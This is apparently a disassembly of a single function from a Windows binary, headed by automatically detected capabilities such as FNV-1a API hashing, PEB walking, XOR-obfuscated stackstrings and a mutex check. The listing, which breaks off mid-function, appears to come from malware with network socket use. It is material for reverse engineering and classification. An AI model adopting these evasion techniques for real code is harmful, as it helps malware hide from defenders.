Function at 0x463c00
Capabilities:
Access peb ldr_data
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create thread
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505310
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x804
push ebx
push esi
push edi
push 0x22
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004140e0
mov ebx, eax
mov ecx, edx
shrd eax, ecx, 0x10
mov ecx, ebx
movzx edi, al
shrd ecx, edx, 8
push 0
movzx eax, cl
add edi, eax
movzx eax, bl
add edi, eax
call fcn.004ed4ab
add esp, 4
mov dword [ebp - 0x24], edx
mov ecx, 0x534d5c
mov esi, eax
call fcn.00402a20
push eax
call fcn.004ecdf7
sub esi, 0xffffff80
add esp, 4
add eax, esi
add eax, edi
push eax
call fcn.004e50de
add esp, 4
push 0x100
push 0
push 0x537118
call fcn.004e14f0
mov esi, dword [0x534d6c]
add esp, 0xc
mov ecx, 0x534d5c
call fcn.00402a20
push esi
push eax
push 0x537118
call fcn.004e0f70
mov esi, dword [0x534d9c]
add esp, 0xc
mov ecx, 0x534d8c
call fcn.00402a20
push esi
push eax
push 0x53717c
call fcn.004e0f70
add esp, 0xc
mov ecx, 0x534d5c
call fcn.00402a20
mov esi, eax
lea eax, [esi + 1]
lea esp, [esp]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x463ce0
mov ecx, 0x534d5c
sub esi, eax
call fcn.00402a20
push esi
push eax
lea ecx, [ebp - 0x338]
call fcn.004029c0
push eax
mov ecx, 0x534d5c
call fcn.0046a5f0
lea ecx, [ebp - 0x338]
call fcn.004028d0
mov ecx, 0x534dec
call fcn.00402a20
mov esi, eax
lea eax, [esi + 1]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x463d25
mov ecx, 0x534dec
sub esi, eax
call fcn.00402a20
push esi
push eax
lea ecx, [ebp - 0x378]
call fcn.004029c0
push eax
mov ecx, 0x534dec
call fcn.0046a5f0
lea ecx, [ebp - 0x378]
call fcn.004028d0
mov ecx, 0x534e7c
call fcn.00402a20
mov esi, eax
lea eax, [esi + 1]
lea ebx, [ebx]
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x463d70
mov ecx, 0x534e7c
sub esi, eax
call fcn.00402a20
push esi
push eax
lea ecx, [ebp - 0x350]
call fcn.004029c0
push eax
mov ecx, 0x534e7c
call fcn.0046a5f0
lea ecx, [ebp - 0x350]
call fcn.004028d0
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00463a40
test al, al
jne 0x463dd2
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x200
lea eax, [ebp - 0x708]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x708]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x708]
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00402980
sub esp, 0x18
lea eax, [ebp - 0x3f8]
mov ecx, esp
push eax
call fcn.0046a770
mov edx, 0x1e8c53
lea ecx, [ebp - 0x274]
call fcn.0040a210
mov esi, dword [ebp - 0x274]
add esp, 0x18
mov ebx, dword [0x5374f0]
xor edi, edi
mov eax, dword [esi + 0x10]
sub eax, ebx
je 0x463f8c
jmp 0x463e50
cmp dword [esi + 0x14], 0x10
jb 0x463e58
mov esi, dword [esi]
mov ecx, 0x5374e0
call fcn.00402a20
mov ecx, dword [esi + edi]
cmp ecx, dword [eax]
jne 0x463e9c
mov ecx, dword [esi + edi + 4]
cmp ecx, dword [eax + 4]
jne 0x463e9c
mov esi, dword [ebp - 0x274]
cmp dword [esi + 0x14], 0x10
jb 0x463e80
mov esi, dword [esi]
mov ecx, 0x5374e0
call fcn.00402a20
mov ecx, dword [esi + edi + 8]
cmp ecx, dword [eax + 8]
jne 0x463e9c
mov ecx, dword [esi + edi + 0xc]
cmp ecx, dword [eax + 0xc]
je 0x463eb1
mov esi, dword [ebp - 0x274]
inc edi
mov eax, dword [esi + 0x10]
sub eax, ebx
cmp edi, eax
jb 0x463e50
jmp 0x463f8c
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x998494a3
mov dword [ebp - 0x4a], 0xda9d9791
mov word [ebp - 0x46], 0x100
call fcn.00467a30
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], 0x849f9da0
mov dword [ebp - 0x1bc], 0x948889d8
mov dword [ebp - 0x1b8], 0x929f8f9b
mov dword [ebp - 0x1b4], 0x23716820
mov dword [ebp - 0x1b0], 0x6e702565
mov dword [ebp - 0x1ac], 0x25797c7a
mov dword [ebp - 0x1a8], 0x2f61492c
mov dword [ebp - 0x1a4], 0x33677e69
mov dword [ebp - 0x1a0], 0x7b777066
mov dword [ebp - 0x19c], 0x6c3a6074
mov dword [ebp - 0x198], 0x3f6a737d
mov dword [ebp - 0x194], 0x51024e54
mov dword [ebp - 0x190], 0x4e064b51
mov dword [ebp - 0x18c], 0x100165c
call fcn.00467040
push 0x14
lea eax, [ebp - 0x4e]
push eax
lea eax, [ebp - 0x1c0]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x463f86
lea esi, [eax + 6]
jmp 0x466e0e
mov esi, dword [ebp - 0x274]
push 0
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.0046cdb0
push 0
push 3
mov dword [ebp - 4], 0xffffffff
mov edi, dword [0x533ab4]
mov esi, dword [0x533ab0]
push edi
push esi
call fcn.00504a10
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [ebp - 0x44], ebx
adc edx, dword [0x533abc]
xor ecx, esi
mov eax, edx
mov dword [ebp - 0x54], edx
xor eax, edi
or ecx, eax
je 0x463fea
sub esi, ebx
mov dword [0x533ab0], esi
sbb edi, edx
mov dword [0x533ab4], edi
test edi, edi
jg 0x464002
jl 0x464002
cmp esi, 0x110b
ja 0x464002
test edi, edi
jg 0x464012
jl 0x464002
test esi, esi
jae 0x464012
xor esi, esi
xor edi, edi
mov dword [0x533ab0], esi
mov dword [0x533ab4], edi
push 0
push 3
push edi
push esi
call fcn.00504a10
mov ebx, eax
add ebx, dword [ebp - 0x44]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [ebp - 0x54]
xor ecx, esi
mov eax, edx
mov dword [0x533abc], edx
xor eax, edi
or ecx, eax
je 0x46404d
sub esi, ebx
mov dword [0x533ab0], esi
sbb edi, edx
mov dword [0x533ab4], edi
test edi, edi
jg 0x464065
jl 0x464065
cmp esi, 0x110b
ja 0x464065
test edi, edi
jg 0x464079
jl 0x464065
test esi, esi
jae 0x464079
mov dword [0x533ab0], 0
mov dword [0x533ab4], 0
push 0xa9bd
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x5a]
mov dword [ebp - 0x5a], 0x92838780
mov word [ebp - 0x56], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x5a]
mov ecx, 0x534da4
push eax
call fcn.0046a1e0
test eax, eax
jne 0x4641ea
call fcn.00414280
test al, al
je 0x464148
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [ebx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x1c], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x1c], ecx
cmp ecx, esi
je 0x464139
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x464139
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x464132
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x464115
cmp esi, 0xe80fd3a
je 0x46413d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464100
mov eax, dword [eax]
jmp 0x4640d0
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
jmp 0x4641d3
call fcn.004143c0
test al, al
jne 0x4641ea
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4641c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4641c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edi, edi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4641c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4641a5
cmp esi, 0xe80fd3a
je 0x4641cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464190
mov eax, dword [eax]
jmp 0x464161
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
push 0
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0x10e]
mov dword [ebp - 0x10e], 0x92838780
mov word [ebp - 0x10a], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0x10e]
mov ecx, 0x534d44
push eax
call fcn.0046a1e0
test eax, eax
jne 0x4642ea
call fcn.00414400
mov bl, al
call fcn.00414490
mov bh, al
call fcn.00414730
test bl, bl
jne 0x46424f
test bh, bh
jne 0x46424f
test al, al
jne 0x46424f
call fcn.004142c0
test al, al
je 0x4642ea
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jmp 0x464260
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4642c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4642c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4642c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4642a5
cmp esi, 0xe80fd3a
je 0x4642cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464290
mov eax, dword [eax]
jmp 0x464260
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [ebp - 0xea]
mov dword [ebp - 0xea], 0x92838780
mov word [ebp - 0xe6], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0xea]
mov ecx, 0x534e64
push eax
call fcn.0046a1e0
test eax, eax
jne 0x464327
lea ecx, [eax + 1]
call fcn.004148e0
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0x92838780
mov word [ebp - 0xec], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0xf0]
mov ecx, 0x534e4c
push eax
call fcn.0046a1e0
test eax, eax
jne 0x464361
call fcn.00417dc0
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x92838780
mov word [ebp - 0xf2], 0x100
call fcn.00467bc0
push 0
lea eax, [ebp - 0xf6]
mov ecx, 0x534d2c
push eax
call fcn.0046a1e0
mov esi, dword [0x533ab4]
test eax, eax
mov edi, dword [0x533ab0]
push 0
push 3
push esi
push edi
setne byte [ebp - 0x15]
call fcn.00504a10
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
mov eax, edx
mov dword [0x533abc], edx
xor eax, esi
or ecx, eax
je 0x4643e5
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x4643fd
jl 0x4643fd
cmp edi, 0x110b
ja 0x4643fd
test esi, esi
jg 0x464411
jl 0x4643fd
test edi, edi
jae 0x464411
mov dword [0x533ab0], 0
mov dword [0x533ab4], 0
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 0x80000041
call esi
test eax, eax
jne 0x464429
push connect
call esi
lea ecx, [ebp - 0x1d9]
mov dword [ebp - 0x1d9], 0x9f989c83
mov dword [ebp - 0x1d5], 0xd58a8d8c
mov dword [ebp - 0x1d1], 0x929198
mov byte [ebp - 0x1cd], 1
call fcn.00467b20
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4644cb
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4644cb
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4644c4
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4644a7
cmp esi, 0x53b2070f
je 0x4644cf
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464492
mov eax, dword [eax]
jmp 0x464465
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x1d9]
add eax, edx
push ecx
call eax
test eax, eax
jne 0x4644fc
xor esi, esi
jmp 0x466e0e
lea ecx, [ebp - 0x1e6]
mov dword [ebp - 0x1e6], 0xbeb8bca3
mov dword [ebp - 0x1e2], 0xd5aebcb6
mov dword [ebp - 0x1de], 0xb2b1b8
mov byte [ebp - 0x1da], 1
call fcn.00467b20
lea eax, [ebp - 0x1e6]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.004855b0
lea ecx, [ebp - 0xb2]
mov word [ebp - 0xb2], 0xce
mov byte [ebp - 0xb0], 1
call fcn.00467b50
push 0
lea eax, [ebp - 0xb2]
mov ecx, 0x534d8c
push eax
call fcn.0046a1e0
cmp eax, 0xffffffff
je 0x46460d
lea ecx, [ebp - 0xb8]
mov word [ebp - 0xb8], 0xce
mov byte [ebp - 0xb6], 1
call fcn.00467b50
sub esp, 0x18
lea eax, [ebp - 0xb8]
mov ecx, esp
push eax
call fcn.00402980
sub esp, 0x18
mov ecx, esp
push 0x534d8c
call fcn.0046a770
lea ecx, [ebp - 0x2b0]
call fcn.0040ab40
mov ecx, dword [ebp - 0x2ac]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2b0]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
jne 0x464602
lea eax, [esi + 0x18]
mov ecx, 0x537320
push eax
call fcn.0046a5c0
push dword [ebp - 0x2b0]
mov ecx, 0x534d8c
call fcn.0046a5c0
lea ecx, [ebp - 0x2b0]
call fcn.0046c860
push 0
push 0
push 0
push 0x41f1d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x533aac], 0xffffffff
jne 0x4646e7
jmp 0x464640
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x10], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4646b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4646b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4646b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x464695
cmp esi, 0x2fa62ca8
je 0x4646bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464680
mov eax, dword [eax]
jmp 0x464650
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x533aac], 0xffffffff
je 0x464640
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x98], 0x100afae
call fcn.00467b60
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x2a4]
call fcn.00402980
mov ecx, 0x104
lea eax, [ebp - 0x810]
lea esp, [esp]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x464720
lea eax, [ebp - 0x810]
push eax
push 0xfb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xc
lea ecx, [ebp - 0x3e0]
call fcn.0040aeb0
lea ecx, [ebp - 0x12f]
mov dword [ebp - 0x12f], 0x95999195
mov word [ebp - 0x12b], 0x9d
mov byte [ebp - 0x129], 1
call fcn.00467da0
lea eax, [ebp - 0x3e0]
push eax
lea eax, [ebp - 0x12f]
push eax
lea ecx, [ebp - 0x460]
call fcn.00402980
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x448]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x430]
mov edx, eax
call fcn.0046e650
add esp, 4
mov ecx, 0x534d14
push eax
call fcn.0046a5f0
lea ecx, [ebp - 0x430]
call fcn.004028d0
lea ecx, [ebp - 0x448]
call fcn.004028d0
lea ecx, [ebp - 0x460]
call fcn.004028d0
lea ecx, [ebp - 0xbf]
mov dword [ebp - 0xbf], 0x939f909c
mov word [ebp - 0xbb], 0x91
mov byte [ebp - 0xb9], 1
call fcn.00467da0
lea eax, [ebp - 0x3e0]
push eax
lea eax, [ebp - 0xbf]
push eax
lea ecx, [ebp - 0x490]
call fcn.00402980
push eax
lea edx, [ebp - 0x810]
lea ecx, [ebp - 0x478]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x2d8]
mov edx, eax
call fcn.0046e650
add esp, 4
lea ecx, [ebp - 0x478]
call fcn.004028d0
lea ecx, [ebp - 0x490]
call fcn.004028d0
mov ecx, 0x534d14
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x46487b
push 0
mov dl, 1
mov ecx, 0x534d14
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x2d8]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x4648a3
push 0
mov dl, 1
lea ecx, [ebp - 0x2d8]
call fcn.0040a750
add esp, 4
mov ecx, 0x534d14
call fcn.00402a20
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call esi
test eax, eax
jne 0x4648ce
mov ecx, 0x534d14
call fcn.00415a10
test al, al
je 0x466bf6
lea ecx, [ebp - 0x2d8]
call fcn.00402a20
push 0
push eax
call esi
test eax, eax
jne 0x464969
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push eax
push 3
push esi
push edi
call fcn.00504a10
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
mov eax, edx
mov dword [0x533abc], edx
xor eax, esi
or ecx, eax
je 0x464932
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x46494a
jl 0x46494a
cmp edi, 0x110b
ja 0x46494a
test esi, esi
jg 0x46495e
jl 0x46494a
test edi, edi
jae 0x46495e
mov dword [0x533ab0], 0
mov dword [0x533ab4], 0
lea ecx, [ebp - 0x2d8]
call fcn.00415a10
lea ecx, [ebp - 0x2d8]
call fcn.00402a20
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x98], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0x78]
lea eax, [edx + esi]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x4649e9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4649e9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4649e2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4649c5
cmp esi, 0x7a5b9fa2
je 0x4649ed
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4649b0
mov ecx, dword [ecx]
jmp 0x464987
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x98]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea eax, [ebp - 0x2d8]
mov ecx, 0x534dbc
push eax
call fcn.0046a5c0
call fcn.00415dd0
test al, al
je 0x464c0f
cmp byte [ebp - 0x15], 0
jne 0x464c0f
lea ecx, [ebp - 0x8f]
mov dword [ebp - 0x8f], 0x949f9987
mov dword [ebp - 0x8b], 0x9296aa93
mov dword [ebp - 0x87], 0x91bf9898
mov word [ebp - 0x83], 0x64
mov byte [ebp - 0x81], 1
call fcn.00467cb0
push 0x534d5c
lea edx, [ebp - 0x8f]
lea ecx, [ebp - 0x338]
call fcn.0046e4d0
add esp, 4
mov ecx, eax
call fcn.00402a20
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [ebp - 0x338]
call fcn.004028d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x466deb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0x32
push 0x529
call ebx
sub esi, 1
jne 0x464ac1
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0xb4b8a3bc
mov dword [ebp - 0x4a], 0x97969dd6
mov word [ebp - 0x46], 0x100
call fcn.00467a30
sub esp, 0x18
lea eax, [ebp - 0x4e]
mov ecx, esp
push eax
call fcn.00402980
call fcn.0041f690
mov ecx, dword [0x5373d8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5373d4]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x464b43
mov edi, edi
push 0x2f
call ebx
mov ecx, dword [0x5373d8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5373d4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x464b20
push 2
push dword [0x533aac]
mov byte [0x5370e1], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x533aac]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ebx, [ebx]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x1c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x10], ecx
cmp ecx, edx
je 0x464be4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x464be4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x464bdd
lea ebx, [ebx]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x464bc0
cmp esi, 0x2fa62ca8
je 0x464be8
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x464ba5
mov eax, dword [eax]
jmp 0x464b80
mov esi, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x162
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x464b70
mov esi, dword [0x533ab4]
mov edi, dword [0x533ab0]
push 0
push 3
push esi
push edi
call fcn.00504a10
mov ebx, eax
add ebx, dword [0x533ab8]
mov ecx, ebx
mov dword [0x533ab8], ebx
adc edx, dword [0x533abc]
xor ecx, edi
mov eax, edx
mov dword [0x533abc], edx
xor eax, esi
or ecx, eax
je 0x464c5c
sub edi, ebx
mov dword [0x533ab0], edi
sbb esi, edx
mov dword [0x533ab4], esi
test esi, esi
jg 0x464c74
jl 0x464c74
cmp edi, 0x110b
ja 0x464c74
test esi, esi
jg 0x464c88
jl 0x464c74
test edi, edi
jae 0x464c88
mov dword [0x533ab0], 0
mov dword [0x533ab4], 0
lea ecx, [ebp - 0x9c]
mov byte [0x53710d], 0
mov word [ebp - 0x9c], 0x88
mov byte [ebp - 0x9a], 1
call fcn.00467b50
lea ecx, [ebp - 0x3b0]
call fcn.0040b830
push 0
push 0x475f
mov esi, eax
call fcn.00406bd0
mov ebx, dword [0x533aac]
lea ecx, [ebp - 0x9c]
add esp, 8
lea edx, [ecx + 1]
mov edi, eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464cd7
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
mov ecx, esi
call fcn.0046cfc0
push eax
lea ecx, [ebp - 0x378]
call fcn.00402920
sub esp, 0x18
lea edx, [ebp - 0x378]
mov ecx, esp
push 0x534d5c
call fcn.0046e650
add esp, 4
mov edx, edi
mov ecx, ebx
call fcn.0041e600
add esp, 0x18
lea ecx, [ebp - 0x378]
mov bl, al
call fcn.004028d0
lea ecx, [ebp - 0x3b0]
call fcn.004028d0
test bl, bl
je 0x464df2
cmp byte [0x53710d], 0
jne 0x464df2
lea esp, [esp]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea esp, [esp]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x464dc4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x464dc4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x464dbd
jmp 0x464da0
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x464da0
cmp esi, 0x2fa62ca8
je 0x464dc8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x464d86
mov eax, dword [eax]
jmp 0x464d60
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
push 0x65
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
